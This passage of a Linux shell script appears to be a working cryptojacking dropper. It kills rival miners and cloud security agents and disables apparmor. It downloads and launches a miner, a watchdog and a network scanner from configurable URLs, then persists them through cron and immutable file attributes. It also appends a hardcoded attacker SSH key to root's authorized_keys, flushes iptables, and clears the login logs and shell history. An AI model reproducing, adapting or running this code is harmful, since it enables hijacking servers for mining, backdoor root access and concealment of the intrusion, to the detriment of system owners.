	ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
	ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
	netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
	netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
	pgrep -f monerohash | xargs -I % kill -9 %
	pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
	pgrep -f xzpauectgr | xargs -I % kill -9 %
	pgrep -f slxfbkmxtd | xargs -I % kill -9 %
	pgrep -f mixtape | xargs -I % kill -9 %
	pgrep -f addnj | xargs -I % kill -9 %
	pgrep -f 200.68.17.196 | xargs -I % kill -9 %
	pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
	pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
	pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
	pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
	pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
	pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
	pgrep -f mqdsflm.cf | xargs -I % kill -9 %
	pgrep -f stratum | xargs -I % kill -9 %
	pgrep -f lower.sh | xargs -I % kill -9 %
	pgrep -f ./ppp | xargs -I % kill -9 %
	pgrep -f cryptonight | xargs -I % kill -9 %
	pgrep -f ./seervceaess | xargs -I % kill -9 %
	pgrep -f ./servceaess | xargs -I % kill -9 %
	pgrep -f ./servceas | xargs -I % kill -9 %
	pgrep -f ./servcesa | xargs -I % kill -9 %
	pgrep -f ./vsp | xargs -I % kill -9 %
	pgrep -f ./jvs | xargs -I % kill -9 %
	pgrep -f ./pvv | xargs -I % kill -9 %
	pgrep -f ./vpp | xargs -I % kill -9 %
	pgrep -f ./pces | xargs -I % kill -9 %
	pgrep -f ./rspce | xargs -I % kill -9 %
	pgrep -f ./haveged | xargs -I % kill -9 %
	pgrep -f ./jiba | xargs -I % kill -9 %
	pgrep -f ./watchbog | xargs -I % kill -9 %
	pgrep -f ./A7mA5gb | xargs -I % kill -9 %
	pgrep -f kacpi_svc | xargs -I % kill -9 %
	pgrep -f kswap_svc | xargs -I % kill -9 %
	pgrep -f kauditd_svc | xargs -I % kill -9 %
	pgrep -f kpsmoused_svc | xargs -I % kill -9 %
	pgrep -f kseriod_svc | xargs -I % kill -9 %
	pgrep -f kthreadd_svc | xargs -I % kill -9 %
	pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
	pgrep -f kintegrityd_svc | xargs -I % kill -9 %
	pgrep -f jawa | xargs -I % kill -9 %
	pgrep -f oracle.jpg | xargs -I % kill -9 %
	pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
	pgrep -f 188.209.49.54 | xargs -I % kill -9 %
	pgrep -f 181.214.87.241 | xargs -I % kill -9 %
	pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
	pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
	pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
	pgrep -f servim | xargs -I % kill -9 %
	pgrep -f kblockd_svc | xargs -I % kill -9 %
	pgrep -f native_svc | xargs -I % kill -9 %
	pgrep -f ynn | xargs -I % kill -9 %
	pgrep -f 65ccEJ7 | xargs -I % kill -9 %
	pgrep -f jmxx | xargs -I % kill -9 %
	pgrep -f 2Ne80nA | xargs -I % kill -9 %
	pgrep -f sysstats | xargs -I % kill -9 %
	pgrep -f systemxlv | xargs -I % kill -9 %
	pgrep -f watchbog | xargs -I % kill -9 %
	pgrep -f OIcJi1m | xargs -I % kill -9 %
	pkill -f biosetjenkins
	pkill -f Loopback
	pkill -f apaceha
	pkill -f cryptonight
	pkill -f stratum
	pkill -f mixnerdx
	pkill -f performedl
	pkill -f JnKihGjn
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbnc1
	pkill -f ir29xc1
	pkill -f conns
	pkill -f irqbalance
	pkill -f crypto-pool
	pkill -f XJnRj
	pkill -f mgwsl
	pkill -f pythno
	pkill -f jweri
	pkill -f lx26
	pkill -f NXLAi
	pkill -f BI5zj
	pkill -f askdljlqw
	pkill -f minerd
	pkill -f minergate
	pkill -f Guard.sh
	pkill -f ysaydh
	pkill -f bonns
	pkill -f donns
	pkill -f kxjd
	pkill -f Duck.sh
	pkill -f bonn.sh
	pkill -f conn.sh
	pkill -f kworker34
	pkill -f kw.sh
	pkill -f pro.sh
	pkill -f polkitd
	pkill -f acpid
	pkill -f icb5o
	pkill -f nopxi
	pkill -f irqbalanc1
	pkill -f minerd
	pkill -f i586
	pkill -f gddr
	pkill -f mstxmr
	pkill -f ddg.2011
	pkill -f wnTKYg
	pkill -f deamon
	pkill -f disk_genius
	pkill -f sourplum
	pkill -f polkitd
	pkill -f nanoWatch
	pkill -f zigw
	pkill -f devtool
	pkill -f devtools
	pkill -f systemctI
	pkill -f watchbog
	pkill -f cryptonight
	pkill -f sustes
	pkill -f xmrig
	pkill -f xmrig-cpu
	pkill -f 121.42.151.137
	pkill -f init12.cfg
	pkill -f nginxk
	pkill -f tmp/wc.conf
	pkill -f xmrig-notls
	pkill -f xmr-stak
	pkill -f suppoie
	pkill -f zer0day.ru
	pkill -f dbus-daemon--system
	pkill -f nullcrew
	pkill -f systemctI
	pkill -f kworkerds
	pkill -f init10.cfg
	pkill -f /wl.conf
	pkill -f crond64
	pkill -f sustse
	pkill -f vmlinuz
	pkill -f exin
	pkill -f apachiii
	pkill -f networkservice
	rm -rf /usr/bin/config.json
	rm -rf /usr/bin/exin
	rm -rf /tmp/wc.conf
	rm -rf /tmp/log_rot
	rm -rf /tmp/apachiii
	rm -rf /tmp/sustse
	rm -rf /tmp/php
	rm -rf /tmp/p2.conf
	rm -rf /tmp/pprt
	rm -rf /tmp/ppol
	rm -rf /tmp/javax/config.sh
	rm -rf /tmp/javax/sshd2
	rm -rf /tmp/.profile
	rm -rf /tmp/1.so
	rm -rf /tmp/kworkerds
	rm -rf /tmp/kworkerds3
	rm -rf /tmp/kworkerdssx
	rm -rf /tmp/xd.json
	rm -rf /tmp/syslogd
	rm -rf /tmp/syslogdb
	rm -rf /tmp/65ccEJ7
	rm -rf /tmp/jmxx
	rm -rf /tmp/2Ne80nA
	rm -rf /tmp/dl
	rm -rf /tmp/ddg
	rm -rf /tmp/systemxlv
	rm -rf /tmp/systemctI
	rm -rf /tmp/.abc
	rm -rf /tmp/osw.hb
	rm -rf /tmp/.tmpleve
	rm -rf /tmp/.tmpnewzz
	rm -rf /tmp/.java
	rm -rf /tmp/.omed
	rm -rf /tmp/.tmpc
	rm -rf /tmp/.tmpleve
	rm -rf /tmp/.tmpnewzz
	rm -rf /tmp/gates.lod
	rm -rf /tmp/conf.n
	rm -rf /tmp/devtool
	rm -rf /tmp/devtools
	rm -rf /tmp/fs
	rm -rf /tmp/.rod
	rm -rf /tmp/.rod.tgz
	rm -rf /tmp/.rod.tgz.1
	rm -rf /tmp/.rod.tgz.2
	rm -rf /tmp/.mer
	rm -rf /tmp/.mer.tgz
	rm -rf /tmp/.mer.tgz.1
	rm -rf /tmp/.hod
	rm -rf /tmp/.hod.tgz
	rm -rf /tmp/.hod.tgz.1
	rm -rf /tmp/84Onmce
	rm -rf /tmp/C4iLM4L
	rm -rf /tmp/lilpip
	rm -rf /tmp/3lmigMo
	rm -rf /tmp/am8jmBP
	rm -rf /tmp/tmp.txt
	rm -rf /tmp/baby
	rm -rf /tmp/.lib
	rm -rf /tmp/systemd
	rm -rf /tmp/lib.tar.gz
	rm -rf /tmp/baby
	rm -rf /tmp/java
	rm -rf /tmp/j2.conf
	rm -rf /tmp/.mynews1234
	rm -rf /tmp/a3e12d
	rm -rf /tmp/.pt
	rm -rf /tmp/.pt.tgz
	rm -rf /tmp/.pt.tgz.1
	rm -rf /tmp/go
	rm -rf /tmp/java
	rm -rf /tmp/j2.conf
	rm -rf /tmp/.tmpnewasss
	rm -rf /tmp/java
	rm -rf /tmp/go.sh
	rm -rf /tmp/go2.sh
	rm -rf /tmp/khugepageds
	rm -rf /tmp/.censusqqqqqqqqq
	rm -rf /tmp/.kerberods
	rm -rf /tmp/kerberods
	rm -rf /tmp/seasame
	rm -rf /tmp/touch
	rm -rf /tmp/.p
	rm -rf /tmp/runtime2.sh
	rm -rf /tmp/runtime.sh
	rm -rf /dev/shm/z3.sh
	rm -rf /dev/shm/z2.sh
	rm -rf /dev/shm/.scr
	rm -rf /dev/shm/.kerberods
	rm -f /etc/ld.so.preload
	rm -f /usr/local/lib/libioset.so
	chattr -i /etc/ld.so.preload
	rm -f /etc/ld.so.preload
	rm -f /usr/local/lib/libioset.so
	rm -rf /tmp/watchdogs
	rm -rf /etc/cron.d/tomcat
	rm -rf /etc/rc.d/init.d/watchdogs
	rm -rf /usr/sbin/watchdogs
	rm -f /tmp/kthrotlds
	rm -f /etc/rc.d/init.d/kthrotlds
	rm -rf /tmp/.sysbabyuuuuu12
	rm -rf /tmp/logo9.jpg
	rm -rf /tmp/miner.sh
	rm -rf /tmp/nullcrew
	rm -rf /tmp/proc
	rm -rf /tmp/2.sh
	rm /opt/atlassian/confluence/bin/1.sh
	rm /opt/atlassian/confluence/bin/1.sh.1
	rm /opt/atlassian/confluence/bin/1.sh.2
	rm /opt/atlassian/confluence/bin/1.sh.3
	rm /opt/atlassian/confluence/bin/3.sh
	rm /opt/atlassian/confluence/bin/3.sh.1
	rm /opt/atlassian/confluence/bin/3.sh.2
	rm /opt/atlassian/confluence/bin/3.sh.3
	rm -rf /var/tmp/f41
	rm -rf /var/tmp/2.sh
	rm -rf /var/tmp/config.json
	rm -rf /var/tmp/xmrig
	rm -rf /var/tmp/1.so
	rm -rf /var/tmp/kworkerds3
	rm -rf /var/tmp/kworkerdssx
	rm -rf /var/tmp/kworkerds
	rm -rf /var/tmp/wc.conf
	rm -rf /var/tmp/nadezhda.
	rm -rf /var/tmp/nadezhda.arm
	rm -rf /var/tmp/nadezhda.arm.1
	rm -rf /var/tmp/nadezhda.arm.2
	rm -rf /var/tmp/nadezhda.x86_64
	rm -rf /var/tmp/nadezhda.x86_64.1
	rm -rf /var/tmp/nadezhda.x86_64.2
	rm -rf /var/tmp/sustse3
	rm -rf /var/tmp/sustse
	rm -rf /var/tmp/moneroocean/
	rm -rf /var/tmp/devtool
	rm -rf /var/tmp/devtools
	rm -rf /var/tmp/play.sh
	rm -rf /var/tmp/systemctI
	rm -rf /var/tmp/.java
	rm -rf /var/tmp/1.sh
	rm -rf /var/tmp/conf.n
	rm -r /var/tmp/lib
	rm -r /var/tmp/.lib
	chattr -iau /tmp/lok
	chmod +700 /tmp/lok
	rm -rf /tmp/lok
	chattr -i /tmp/kdevtmpfsi
	echo 1 > /tmp/kdevtmpfsi
	chattr +i /tmp/kdevtmpfsi
	chattr -i /tmp/redis2
	echo 1 > /tmp/redis2
	chattr +i /tmp/redis2
	chattr -i /usr/lib/systemd/systemd-update-daily
	echo 1 > /usr/lib/systemd/systemd-update-daily
	chattr +i /usr/lib/systemd/systemd-update-daily
	sleep 1
	service apparmor stop
	systemctl disable apparmor
	service aliyun.service stop
	systemctl disable aliyun.service
	ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
	rm -rf /usr/local/aegis
	sleep 1
	chattr -R -i /var/spool/cron
	chattr -i /etc/crontab
    crontab -r
    rm -rf /var/spool/cron/*
	apt-get install -y unhide
	yum install -y unhide
	sleep 1
	dddir="/usr/sbin/unhide"
	$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null
	chattr -i /usr/bin/ip6network
	chattr -i /usr/bin/kswaped
	chattr -i /usr/bin/irqbalanced
	chattr -i /usr/bin/rctlcli
	chattr -i /usr/bin/systemd-network
	chattr -i /usr/bin/pamdicks
	echo 1 > /usr/bin/ip6network
	echo 2 > /usr/bin/kswaped
	echo 3 > /usr/bin/irqbalanced
	echo 4 > /usr/bin/rctlcli
	echo 5 > /usr/bin/systemd-network
	echo 6 > /usr/bin/pamdicks
	chattr +i /usr/bin/ip6network
	chattr +i /usr/bin/kswaped
	chattr +i /usr/bin/irqbalanced
	chattr +i /usr/bin/rctlcli
	chattr +i /usr/bin/systemd-network
	chattr +i /usr/bin/pamdicks
}
downloads()
{
    if [ -f "/usr/bin/curl" ]
    then 
	echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/cur" ]
    then
        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        else
            cur --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
	then
		wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/wge" ]
    then
        wge --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            wge --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

kill_miner_proc
kill_sus_proc

unlock_cron()
{
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
}

lock_cron()
{
    chattr -R +i /var/spool/cron
    chattr +i /etc/crontab
}

if [ -f "$rtdir" ]
then
        echo "i am root"
        echo "goto 1" >> /etc/sysupdates
        chattr -i /etc/sysupdate*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
	    chattr -i /etc/networkservice
	if [ ! -f "/usr/bin/crontab" ]
		then 
			unlock_cron
			echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
			lock_cron
		else
			unlock_cron
			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
			lock_cron
	fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
        
	
        cfg="/etc/config.json"
        file="/etc/sysupdate"

	if [-f "/etc/config.json" ]
	then
		filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
		if [ "$filesize_config" -ne "$config_size" ]	
		then
            pkill -f sysupdate
			rm /etc/config.json
            downloads $config_url /etc/config.json $config_url_backup
		else
			echo "no need download"
		fi
	else
		downloads $config_url /etc/config.json $config_url_backup
    fi
    
    if [ -f "/etc/sysupdate" ]
    then
            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ] 
            then
                pkill -f sysupdate
                rm /etc/sysupdate
                downloads $miner_url /etc/sysupdate $miner_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $miner_url /etc/sysupdate $miner_url_backup
    fi
    
    if [ -f "/etc/sysguard" ]
    then
            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ] 
            then
                pkill -f sysguard
                rm /etc/sysguard
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /etc/sysguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/update.sh $sh_url_backup

    if [ -f "/etc/networkservice" ]
    then
            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ] 
            then
                pkill -f networkservice
                rm /etc/networkservice
                downloads  $scan_url /etc/networkservice $scan_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $scan_url /etc/networkservice $scan_url_backup
    fi

    chmod 777 /etc/sysupdate
    ps -fe|grep sysupdate |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not root runing"
                sleep 5s
                ./sysupdate &
    else
                echo "root runing....."
    fi
	chmod 777 /etc/networkservice
    ps -fe|grep networkservice |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not roots runing"
                sleep 5s
                nice ./networkservice 15 &
    else
                echo "roots runing....."
    fi
    chmod 777 /etc/sysguard
    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /etc
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "roots runing....."
        fi


    chmod 777 /etc/sysupdate
    chattr +i /etc/sysupdate
	chmod 777 /etc/networkservice
	chattr +i /etc/networkservice
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/update.sh
    chattr +i /etc/update.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys
else
    echo "goto 1" > /tmp/sysupdates
    chattr -i /tmp/sysupdate*
	chattr -i /tmp/networkservice
    chattr -i /tmp/config.json*
    chattr -i /tmp/update.sh*
        
    if [ ! -f "/usr/bin/crontab" ]
	then 
			unlock_cron
			echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
			lock_cron
	else
			unlock_cron
			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
			lock_cron
	fi

	if [ -f "/tmp/config.json" ]
	then
		filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
		if [ "$filesize1" -ne "$config_size" ]
		then
            pkill -f sysupdate
			rm /tmp/config.json
            downloads  $config_url /tmp/config.json $config_url_backup
		else
			echo "no need download"
		fi
	else
		downloads $config_url /tmp/config.json $config_url_backup
	fi

    if [ -f "/tmp/sysupdate" ]
    then    
        filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
        if [ "$filesize1" -ne "$miner_size" ] 
        then
                pkill -f sysupdate
                rm /tmp/sysupdate
                downloads $miner_url /tmp/sysupdate $miner_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $miner_url /tmp/sysupdate $miner_url_backup
    fi

    if [ -f "/tmp/sysguard" ]
    then
            filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ] 
            then
                pkill -f sysguard
                rm /tmp/sysguard
                downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
    fi

    echo "i am here"
    downloads $sh_url /tmp/update.sh $sh_url_backup

    if [ -f "/tmp/networkservice" ]
    then 
        filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
        if [ "$filesize2" -ne "$scan_size" ]  
        then
                pkill -f networkservice
	            rm /tmp/networkservice
                downloads $scan_url /tmp/networkservice $scan_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $scan_url /tmp/networkservice $scan_url_backup
    fi

    ps -fe|grep sysupdate |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmp runing"
                cd /tmp
                chmod 777 sysupdate
                sleep 5s
                ./sysupdate &
            else
                echo "tmp runing....."
        fi
	ps -fe|grep networkservice |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 networkservice
                sleep 5s
                nice ./networkservice 15 &
            else
                echo "tmps runing....."
        fi

    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "tmps runing....."
        fi

    chmod 777 /tmp/sysupdate
    chattr +i /tmp/sysupdate
	chmod 777 /tmp/networkservice
	chattr +i /tmp/networkservice
	chmod 777 /tmp/sysguard
	chattr +i /tmp/sysguard
    chmod 777 /tmp/update.sh
    chattr +i /tmp/update.sh
    chmod 777 /tmp/config.json
    chattr +i /tmp/config.json
        
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history